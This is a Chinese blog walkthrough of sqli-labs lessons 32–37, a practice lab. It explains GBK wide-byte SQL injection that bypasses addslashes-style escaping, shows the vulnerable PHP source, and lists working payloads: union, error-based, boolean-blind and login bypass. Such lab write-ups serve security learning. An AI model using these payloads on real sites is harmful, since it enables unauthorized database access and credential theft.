当前位置: 首页 > article >正文

sqli-labs靶场详解(less32-less37)

宽字节注入 原理在下方

目录

less-32

less-33

less-34

less-35

less-36

less-37


less-32

正常页面

?id=1' 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\'

?id=1''

看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字符

?id=1 and 1=1  成功

?id=1 and 1=2  成功

看来是字符型参数 

但是加上单引号被转义

我想到了国标码里面%df\ 是一个汉字 也就是宽字节注入

当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。

?id=1%df' and 1=1 ;%00 成功

?id=1%df' and 1=2 ;%00 无返回结果

确定注入点了

代码

分析

<?php
include("../sql-connections/sql-connect.php");
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}
// take the variables 
if(isset($_GET['id'])) //判断id是否存在参数
{
$id=check_addslashes($_GET['id']); 对参数进行检查如果有非法符号 加反斜杠转义
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);//日志
mysql_query("SET NAMES gbk");//mysql编码方式为gbk gbk编码方式就是造成宽字节注入的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//如果是参数为1%df' 经过处理就变成了1\' 反斜杠在数据库中会被进行GBK编码 从而和%df结合成为一个汉字 单引号从而逃逸出来
?>

宽字节注入原理

mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将‘转换为\’(转换的函数或者思路会在每一关遇到的时候介绍)。

PHP 自带一些转义特殊字符的函数,如addslashes()mysql_real_escape_string()mysql_escape_string()等,这些函数可用来防止 SQL 注入。

id=1'or'1'='1,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\,变为1\'or\'1\'=\'1,如此在 SQL 查询中是一个普通的字符串,不能进行注入。

而网站在过滤'的时候,通常的思路就是将'转换为\',因此我们在此想办法将'前面添加的\去掉,一般有两种思路:


less-33

正常页面

判断注入点

?id=1 and 1=1 成功

?id=1 and 1=2 成功

看来还是字符型的

?id=1' 依旧提示

?id=1%df' and 1=1;%00 报错 并提示

看来%00空字节注入不可以了 应该是转义%了

?id=1%df' and 1=1--+ 成功

?id=1%df' and 1=2--+ 无返回结果

确定注入点了

我再想他应该不是转义% 如果转义%那么%df也出问题了

发现和上一关没什么区别呀 看看源码吧

分析出来了 其他都一样 就是处理非法字符的方式不一样

该关使用

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}


less-34

开始post型注入了

使用bp

uname=admin'  登录失败

一个道理单引号被转义了

不能使用火狐插件 

在url中如果输入%df url自动识别不会再次进行编码了

但是在post表单中 看到了%df 会把%继续进行url编码 从而导致不好使

又学到了一个小知识 万能密码中要使用or 1 一真则真的方式 这样虽然没有用户也会查询出所有的 于是就可以逐行显示出来了

uname=admin%df%5c%5c' or 1=1 limit 2,1#&passwd=1 

确定了注入点

在这里提醒 就是万能密码 虽然我有admin 或者非用户 但是使用or的时候 为永真 则查询出来的是所有的用户 就相当于where 后为真

uname=admin%df' order by 2#&passwd=123 

uname=admin%df' order by 3#&passwd=123 报错了

这个联合查询 因为%df和%5c组成为了汉字 所以带到数据库查询的是admin+汉字 所以查不到

uname=admin%df' union select 1,2#&passwd=123  1,2都为显示位

uname=admin%df' union select database(),2#&passwd=123 获取到了数据库

到这我想尝试and 但是突然又想到了 又学到了一个知识 就是admin%df%5c不存在用户 如果使用and 语句本身就是不执行的 因为and有一个假就是假的 哪怕1=1(这就是我研究半天 脑袋发蒙的地方)

但是可以使用or

报错函数and和or都可以  但是使用那两种方式的报错因为concat('~')就算加上%df也会提示 参数出错 (uname=admin%df' and extractvalue(1,concat(0x7e,database()))#&passwd=123 成功了 转换为十六进制就好了)

但是可以使用联合报错

uname=admin%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))as a from information_schema.tables group by a)x)#&passwd=123

在时间盲注的时候 and 会立马结束 我理解 但是or的时候一直执行sleep停不下来搞不懂

布尔盲注

一开始以为布尔不可以因为admin%df%5c为假 不能使用and了 但是可以继续构造语句 前面永真后面为假

uname=admin%df' or 1 and 1=1#&passwd=123   成功

uname=admin%df' or 1 and 1=2#&passwd=123   失败

前面的or构成了万能密码语句 永真 and 构造成布尔语句


less-35

正常页面

注入测试

?id=1 and 1=1 成功

?id=1 and 1=2 失败

整型 感觉没这么简单

?id=1 order by 4 报错

?id=0 union select 1,2,3 显示位 2,3号位置

?id=0 union select 1,database(),3 得出数据库

这跟第二关没区别呀 看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

function check_addslashes($string)
{
    $string = addslashes($string);//去除非法字符函数
    return $string;
}
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);//处理
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//整型参数 用不上非法字符
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

我丢真6 确实有去除非法字符 但是参数是整型 用不上非法字符 和第二关一样 哈哈 有意思

有这么一点需要注意一下

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

切记:security 转为16进制为0x7365637572697479 是不包括引号的,转为16进制也不需要引号

哈哈转换十六进制也是新学的知识点 那么less-34 的concat~也没问题了 把~转换成十六进制
 


less-36

正常页面

注入测试

?id=1 and 1=2  成功 看来是字符型的

?id=1%df' and 1=1 --+ 成功

?id=1%df' and 1=2 --+ 失败

在过程中发现

?id=1%df' and 1=1 ;%00  过滤了%

报错to use near '\0'  单引号引发的问题

提示Hint: The Query String you input is escaped as : 1�\' and 1=2 ;\0

?id=1%df' and 1=1 # 过滤了#

报错 to use near '' 单引号引发的问题

提示 Hint: The Query String you input is escaped as : 1�\' and 1=2

其余与上一关同理


less-37

正常登录无账号密码 登录失败

开始注入测试

uname=qwe'&passwd=qwe&submit=Submit 被转义

uname=qwe%df' or 1#&passwd=qwe&submit=Submit

成功找到注入点 这就算使用万能密码的方式

在这里注意一下 如果不知道账号的前提下 不要使用and进行判断 因为

假 and 真

假 and 假 

都是一个效果

uname=qwe%df' union select 1,2#&passwd=qwe&submit=Submit

啊?和前两题没什么区别呀 就是变成了post的方式

看一下源码

没什么问题 就是和前面一样 知识变成了 post的形式

提醒

post最好使用bp直接弄 不要使用 hacker 容易翻车

详情看前几关


http://www.kler.cn/a/150218.html

相关文章:

  • 数字后端零基础入门系列 | Innovus零基础LAB学习Day8
  • 2024年9月电子学会青少年软件编程Python等级考试(四级)真题试卷
  • Java 实现接口幂等的九种方法:确保系统稳定性与数据一致性
  • Javaweb梳理8——数据库设计
  • SpringBoot3如何读取配置文件application.properties的属性值
  • 使用Kafka构建大规模消息传递系统
  • 什么是主机安全,有什么作用?
  • Android Studio Giraffe-2022.3.1-Patch-3安装注意事项
  • @Value和@ConfigurationProperties的区别,以及@ConfigurationProperties的配置依赖
  • 详解前后端交互时PO,DTO,VO模型类的应用场景
  • [论文阅读]CT3D——逐通道transformer改进3D目标检测
  • RK3568平台开发系列讲解(Linux系统篇)通过OF函数获取设备树节点实验
  • 云时空社会化商业 ERP 系统 service SQL 注入漏洞复现
  • mySQL踩坑记录
  • 【科技素养】蓝桥杯STEMA 科技素养组模拟练习试卷12
  • 从零构建属于自己的GPT系列1:文本数据预处理、文本数据tokenizer、逐行代码解读
  • SparkSQL远程调试(IDEA)
  • 深入了解Jackson库中的ObjectMapper:Java对象的序列化和反序列化
  • qt 简单了解QHBoxLayout QVBoxLayout QFormLayout水平,垂直,表单布局管理器.
  • BUUCTF刷题之路-pwn-ciscn_2019_n_81
  • Elasticsearch 聚合查询(Aggregation)详解
  • 虚拟机指定开放数据库3306端口
  • Golang开发之------ Beego框架
  • 异步操作的方法
  • genimage 打包镜像
  • ESP32-Web-Server编程- WebSocket 编程